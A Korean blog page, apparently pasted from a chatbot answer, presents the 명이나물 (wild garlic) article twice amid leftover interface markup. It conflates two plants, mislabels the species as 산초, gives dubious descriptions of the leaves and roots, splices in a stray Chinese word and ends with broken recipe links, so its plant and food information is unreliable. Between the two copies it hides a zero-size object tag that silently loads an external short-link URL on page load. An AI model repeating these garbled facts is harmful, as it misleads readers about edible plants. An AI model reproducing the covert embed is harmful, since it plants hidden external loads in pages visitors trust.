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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:32">무릇 나물 잎 뿌리: 봄의 선물, 명이나물의 모든 것</h2><p data-sourcepos="3:1-3:21"><strong>봄의 대표적인 산초, 명이나물!</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f9289d863b0e6fb9&quot;,&quot;c_e6415886c81a25b7&quot;,null,&quot;rc_f99752750cb8414b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://gwdmall.kr/goods/view?no=100318"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="명이나물 잎 " src="https://lh3.googleusercontent.com/bip/ACo7QZ6t4yJDfBor2XjXsi4uF7P-FQWzsWlGyj63uVtHeRmNe0LQCy5Cr2gUqddiQH8W8fNK5Q5i8VOG947sbyb01r23h-qCfkFUQv1kOgj9GVCPXw_oW-uPnEotB5wSGBmd3fbvN8u2DuiLM-gS_k_aJpk55_-9unvj8ki1P1I=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://gwdmall.kr/goods/view?no=100318" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f9289d863b0e6fb9&quot;,&quot;c_e6415886c81a25b7&quot;,null,&quot;rc_f99752750cb8414b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcTc0y3EnbKsQ7XErJ3vlUkdkXcdxEWHHAu8QBLnm252Cd0Lq2rarR4k4GiZa5UqcR08Nfv51KY_Fs64oy5PmrCyk-hH4w"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">gwdmall.kr</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 명이나물 잎 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="7:1-7:19"><strong>봄의 맛과 건강을 한 번에!</strong></p><p data-sourcepos="9:1-9:42">명이나물은 봄철에 즐겨 먹는 산초로, 잎과 뿌리 모두 식용으로 활용됩니다.</p><p data-sourcepos="11:1-11:16"><strong>명이나물의 매력 포인트</strong></p><ul data-sourcepos="13:1-16:0">
<li data-sourcepos="13:1-13:65"><strong>싱싱하고 고소한 맛:</strong> 명이나물은 톡 쏘는 맛과 함께 섬세한 향이 어우러져 봄철 식탁에 활기를 더해줍니다.</li>
<li data-sourcepos="14:1-14:85"><strong>뛰어난 영양소:</strong> 명이나물은 비타민, 미네랄, 식이섬유가 풍부하여 건강에도 좋습니다. 특히 비타민 C 함량이 높아 면역력 강화에 도움을 줍니다.</li>
<li data-sourcepos="15:1-16:0"><strong>다양한 활용:</strong> 샐러드, 무침, 나물국 등 다양한 요리에 활용할 수 있습니다.</li>
</ul><p data-sourcepos="17:1-17:14"><strong>명이나물 잎의 특징</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f9289d863b0e6fb9&quot;,&quot;c_e6415886c81a25b7&quot;,null,&quot;rc_f99752750cb8414b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://gwdmall.kr/goods/view?no=31649"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="명이나물 잎 " src="https://lh3.googleusercontent.com/bip/ACo7QZ66-EUVrpIsG-S4iGYocQpWLeozUZjMWM6bbNcob9I4We1ZCqg1-6FQUXQtoGAskiZaDzR0VN08TiVp3iosdHJbUrGEJLRGE0qnX-i9N47FZvQy9xztVNO9HZxIJPkkbT_gx55i8vBDPqG3e-WBD4jE7qsXBasApL68H13_gneTxPiEEFMpOpglZIyCc_yzXg=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://gwdmall.kr/goods/view?no=31649" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f9289d863b0e6fb9&quot;,&quot;c_e6415886c81a25b7&quot;,null,&quot;rc_f99752750cb8414b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcTc0y3EnbKsQ7XErJ3vlUkdkXcdxEWHHAu8QBLnm252Cd0Lq2rarR4k4GiZa5UqcR08Nfv51KY_Fs64oy5PmrCyk-hH4w"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">gwdmall.kr</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 명이나물 잎 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><ul data-sourcepos="21:1-24:0">
<li data-sourcepos="21:1-21:41"><strong>잎 모양:</strong> 타원형 또는 심장형이며 가장자리에 톱니가 있습니다.</li>
<li data-sourcepos="22:1-22:32"><strong>색깔:</strong> 짙은 녹색 또는 붉은색을 띠고 있습니다.</li>
<li data-sourcepos="23:1-24:0"><strong>맛:</strong> 톡 쏘는 맛과 함께 섬세한 향이 있습니다.</li>
</ul><p data-sourcepos="25:1-25:15"><strong>명이나물 뿌리의 특징</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f9289d863b0e6fb9&quot;,&quot;c_e6415886c81a25b7&quot;,null,&quot;rc_f99752750cb8414b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.11st./products/3405019682"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="명이나물 뿌리 " src="https://lh3.googleusercontent.com/bip/ACo7QZ74dzRxtqCaEeiKjvwIKfV1QYvtPp3LoTMaPkNxWkKtG6RqpIK2mZUfZ-HqmXgImXZqxCM5pFurSzK69_xbiZ1Luwva2peDfbN_ebJR-1-QRGoUCh0o3BP9-qHq8Xz29bKLHui9hbLn8tubevtCrdj4OvkgtlqfJOgJJpxOiiXJtZVk=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://.11st./products/3405019682" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f9289d863b0e6fb9&quot;,&quot;c_e6415886c81a25b7&quot;,null,&quot;rc_f99752750cb8414b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcSkpcUFNh3uyKjMVS_Ah4tStXhfx_bGMuFYfsszrH5iXH6uaHxF2S0cQudGDgAEC4NFbg3uDYAkkY871Yfo4bpdiPD0hneE-jk"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">.11st.</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 명이나물 뿌리 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><ul data-sourcepos="29:1-32:0">
<li data-sourcepos="29:1-29:39"><strong>모양:</strong> 길쭉하고 가늘며, 갈색 또는 노란색을 띠고 있습니다.</li>
<li data-sourcepos="30:1-30:26"><strong>맛:</strong> 달콤하고 고소한 맛이 있습니다.</li>
<li data-sourcepos="31:1-32:0"><strong>활용:</strong> 무침, 장아찌, 차 등에 활용할 수 있습니다.</li>
</ul><p data-sourcepos="33:1-33:12"><strong>명이나물 활용법</strong></p><p data-sourcepos="35:1-35:97"><strong>1. 샐러드:</strong> 명이나물 잎을 깨끗이 씻어 물기를 제거하고, 손으로 찢어 샐러드에 넣습니다. 드레싱은 간장, 참기름, 식초, 마늘 등을 넣어 간단하게 만들 수 있습니다.</p><p data-sourcepos="37:1-37:82"><strong>2. 무침:</strong> 명이나물 잎과 뿌리를 깨끗이 씻어 물기를 제거하고, 데쳐서 무칩니다. 간장, 참기름, 마늘, 고춧가루 등을 넣어 간을 맞춥니다.</p><p data-sourcepos="39:1-39:91"><strong>3. 나물국:</strong> 명이나물 잎과 뿌리를 깨끗이 씻어 물기를 제거하고, 육수에 넣어 끓입니다. 두부, 계란, 김치 등을 추가하여 더욱 풍성하게 즐길 수 있습니다.</p><p data-sourcepos="41:1-41:78"><strong>4. 차:</strong> 명이나물 뿌리를 말려 차를 만들 수 있습니다. 뜨거운 물에 뿌리를 넣고 우려낸 후, 꿀이나 생강즙을 넣어 마시면 좋습니다.</p><p data-sourcepos="43:1-43:19"><strong>명이나물 구매 및 보관 방법</strong></p><ul data-sourcepos="45:1-47:0">
<li data-sourcepos="45:1-45:38"><strong>구매:</strong> 봄철 시장이나 마트에서 쉽게 구입할 수 있습니다.</li>
<li data-sourcepos="46:1-47:0"><strong>보관:</strong> 잎은 냉장 보관, 뿌리는 실온 보관이 좋습니다.</li>
</ul><p data-sourcepos="48:1-48:34"><strong>봄의 풍성함을 담은 명이나물, 오늘 식탁에 올려보세요!</strong></p><p data-sourcepos="50:1-50:71"><strong>주의:</strong> 명이나물은 개인의 체질에 따라 소화가 어려울 수 있습니다. 처음 섭취하는 경우에는少量부터 시작하는 것이 좋습니다.</p><p data-sourcepos="52:1-52:14"><strong>명이나물 관련 정보</strong></p><ul data-sourcepos="54:1-56:0">
<li data-sourcepos="54:1-54:37"><strong>명이나물 효능:</strong> 면역력 강화, 피부 미용, 소화 촉진 등</li>
<li data-sourcepos="55:1-56:0"><strong>명이나물 주의 사항:</strong> 과다 섭취 시 설사, 구토 등의 부작용 발생 가능</li>
</ul><p data-sourcepos="57:1-57:12"><strong>명이나물 레시피</strong></p><ul data-sourcepos="59:1-62:32">
<li data-sourcepos="59:1-59:59"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c227843145="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f9289d863b0e6fb9&quot;,&quot;c_e6415886c81a25b7&quot;,null,&quot;rc_f99752750cb8414b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" s://.10000recipe.com/recipe/6841157">명이나물 무침 레시피</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="60:1-60:32">명이나물 샐러드 레시피 </li>
<li data-sourcepos="61:1-61:32">명이나물 나물국 레시피 </li>
<li data-sourcepos="62:1-62:32">[명이나물 차 레시피](</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:32">무릇 나물 잎 뿌리: 봄의 선물, 명이나물의 모든 것</h2><p data-sourcepos="3:1-3:21"><strong>봄의 대표적인 산초, 명이나물!</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_f9289d863b0e6fb9","c_e6415886c81a25b7",null,"rc_f99752750cb8414b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://gwdmall.kr/goods/view?no=100318"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="명이나물 잎 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ6t4yJDfBor2XjXsi4uF7P-FQWzsWlGyj63uVtHeRmNe0LQCy5Cr2gUqddiQH8W8fNK5Q5i8VOG947sbyb01r23h-qCfkFUQv1kOgj9GVCPXw_oW-uPnEotB5wSGBmd3fbvN8u2DuiLM-gS_k_aJpk55_-9unvj8ki1P1I%3Dw250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://gwdmall.kr/goods/view?no=100318" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_f9289d863b0e6fb9","c_e6415886c81a25b7",null,"rc_f99752750cb8414b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTc0y3EnbKsQ7XErJ3vlUkdkXcdxEWHHAu8QBLnm252Cd0Lq2rarR4k4GiZa5UqcR08Nfv51KY_Fs64oy5PmrCyk-hH4w"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">gwdmall.kr</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 명이나물 잎 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="7:1-7:19"><strong>봄의 맛과 건강을 한 번에!</strong></p><p data-sourcepos="9:1-9:42">명이나물은 봄철에 즐겨 먹는 산초로, 잎과 뿌리 모두 식용으로 활용됩니다.</p><p data-sourcepos="11:1-11:16"><strong>명이나물의 매력 포인트</strong></p><ul data-sourcepos="13:1-16:0">
<li data-sourcepos="13:1-13:65"><strong>싱싱하고 고소한 맛:</strong> 명이나물은 톡 쏘는 맛과 함께 섬세한 향이 어우러져 봄철 식탁에 활기를 더해줍니다.</li>
<li data-sourcepos="14:1-14:85"><strong>뛰어난 영양소:</strong> 명이나물은 비타민, 미네랄, 식이섬유가 풍부하여 건강에도 좋습니다. 특히 비타민 C 함량이 높아 면역력 강화에 도움을 줍니다.</li>
<li data-sourcepos="15:1-16:0"><strong>다양한 활용:</strong> 샐러드, 무침, 나물국 등 다양한 요리에 활용할 수 있습니다.</li>
</ul><p data-sourcepos="17:1-17:14"><strong>명이나물 잎의 특징</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_f9289d863b0e6fb9","c_e6415886c81a25b7",null,"rc_f99752750cb8414b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://gwdmall.kr/goods/view?no=31649"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="명이나물 잎 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ66-EUVrpIsG-S4iGYocQpWLeozUZjMWM6bbNcob9I4We1ZCqg1-6FQUXQtoGAskiZaDzR0VN08TiVp3iosdHJbUrGEJLRGE0qnX-i9N47FZvQy9xztVNO9HZxIJPkkbT_gx55i8vBDPqG3e-WBD4jE7qsXBasApL68H13_gneTxPiEEFMpOpglZIyCc_yzXg%3Dw250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://gwdmall.kr/goods/view?no=31649" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_f9289d863b0e6fb9","c_e6415886c81a25b7",null,"rc_f99752750cb8414b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTc0y3EnbKsQ7XErJ3vlUkdkXcdxEWHHAu8QBLnm252Cd0Lq2rarR4k4GiZa5UqcR08Nfv51KY_Fs64oy5PmrCyk-hH4w"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">gwdmall.kr</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 명이나물 잎 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><ul data-sourcepos="21:1-24:0">
<li data-sourcepos="21:1-21:41"><strong>잎 모양:</strong> 타원형 또는 심장형이며 가장자리에 톱니가 있습니다.</li>
<li data-sourcepos="22:1-22:32"><strong>색깔:</strong> 짙은 녹색 또는 붉은색을 띠고 있습니다.</li>
<li data-sourcepos="23:1-24:0"><strong>맛:</strong> 톡 쏘는 맛과 함께 섬세한 향이 있습니다.</li>
</ul><p data-sourcepos="25:1-25:15"><strong>명이나물 뿌리의 특징</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_f9289d863b0e6fb9","c_e6415886c81a25b7",null,"rc_f99752750cb8414b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.11st./products/3405019682"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="명이나물 뿌리 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ74dzRxtqCaEeiKjvwIKfV1QYvtPp3LoTMaPkNxWkKtG6RqpIK2mZUfZ-HqmXgImXZqxCM5pFurSzK69_xbiZ1Luwva2peDfbN_ebJR-1-QRGoUCh0o3BP9-qHq8Xz29bKLHui9hbLn8tubevtCrdj4OvkgtlqfJOgJJpxOiiXJtZVk%3Dw250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://.11st./products/3405019682" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_f9289d863b0e6fb9","c_e6415886c81a25b7",null,"rc_f99752750cb8414b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSkpcUFNh3uyKjMVS_Ah4tStXhfx_bGMuFYfsszrH5iXH6uaHxF2S0cQudGDgAEC4NFbg3uDYAkkY871Yfo4bpdiPD0hneE-jk"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">.11st.</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 명이나물 뿌리 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><ul data-sourcepos="29:1-32:0">
<li data-sourcepos="29:1-29:39"><strong>모양:</strong> 길쭉하고 가늘며, 갈색 또는 노란색을 띠고 있습니다.</li>
<li data-sourcepos="30:1-30:26"><strong>맛:</strong> 달콤하고 고소한 맛이 있습니다.</li>
<li data-sourcepos="31:1-32:0"><strong>활용:</strong> 무침, 장아찌, 차 등에 활용할 수 있습니다.</li>
</ul><p data-sourcepos="33:1-33:12"><strong>명이나물 활용법</strong></p><p data-sourcepos="35:1-35:97"><strong>1. 샐러드:</strong> 명이나물 잎을 깨끗이 씻어 물기를 제거하고, 손으로 찢어 샐러드에 넣습니다. 드레싱은 간장, 참기름, 식초, 마늘 등을 넣어 간단하게 만들 수 있습니다.</p><p data-sourcepos="37:1-37:82"><strong>2. 무침:</strong> 명이나물 잎과 뿌리를 깨끗이 씻어 물기를 제거하고, 데쳐서 무칩니다. 간장, 참기름, 마늘, 고춧가루 등을 넣어 간을 맞춥니다.</p><p data-sourcepos="39:1-39:91"><strong>3. 나물국:</strong> 명이나물 잎과 뿌리를 깨끗이 씻어 물기를 제거하고, 육수에 넣어 끓입니다. 두부, 계란, 김치 등을 추가하여 더욱 풍성하게 즐길 수 있습니다.</p><p data-sourcepos="41:1-41:78"><strong>4. 차:</strong> 명이나물 뿌리를 말려 차를 만들 수 있습니다. 뜨거운 물에 뿌리를 넣고 우려낸 후, 꿀이나 생강즙을 넣어 마시면 좋습니다.</p><p data-sourcepos="43:1-43:19"><strong>명이나물 구매 및 보관 방법</strong></p><ul data-sourcepos="45:1-47:0">
<li data-sourcepos="45:1-45:38"><strong>구매:</strong> 봄철 시장이나 마트에서 쉽게 구입할 수 있습니다.</li>
<li data-sourcepos="46:1-47:0"><strong>보관:</strong> 잎은 냉장 보관, 뿌리는 실온 보관이 좋습니다.</li>
</ul><p data-sourcepos="48:1-48:34"><strong>봄의 풍성함을 담은 명이나물, 오늘 식탁에 올려보세요!</strong></p><p data-sourcepos="50:1-50:71"><strong>주의:</strong> 명이나물은 개인의 체질에 따라 소화가 어려울 수 있습니다. 처음 섭취하는 경우에는少量부터 시작하는 것이 좋습니다.</p><p data-sourcepos="52:1-52:14"><strong>명이나물 관련 정보</strong></p><ul data-sourcepos="54:1-56:0">
<li data-sourcepos="54:1-54:37"><strong>명이나물 효능:</strong> 면역력 강화, 피부 미용, 소화 촉진 등</li>
<li data-sourcepos="55:1-56:0"><strong>명이나물 주의 사항:</strong> 과다 섭취 시 설사, 구토 등의 부작용 발생 가능</li>
</ul><p data-sourcepos="57:1-57:12"><strong>명이나물 레시피</strong></p><ul data-sourcepos="59:1-62:32">
<li data-sourcepos="59:1-59:59"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c227843145="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[["r_f9289d863b0e6fb9","c_e6415886c81a25b7",null,"rc_f99752750cb8414b",null,null,"ko",null,null,null,null,1,0]]" s://.10000recipe.com/recipe/6841157">명이나물 무침 레시피</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="60:1-60:32">명이나물 샐러드 레시피 </li>
<li data-sourcepos="61:1-61:32">명이나물 나물국 레시피 </li>
<li data-sourcepos="62:1-62:32">[명이나물 차 레시피](</li>
</ul></div>
</div></div>
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무릇 나물 잎 뿌리
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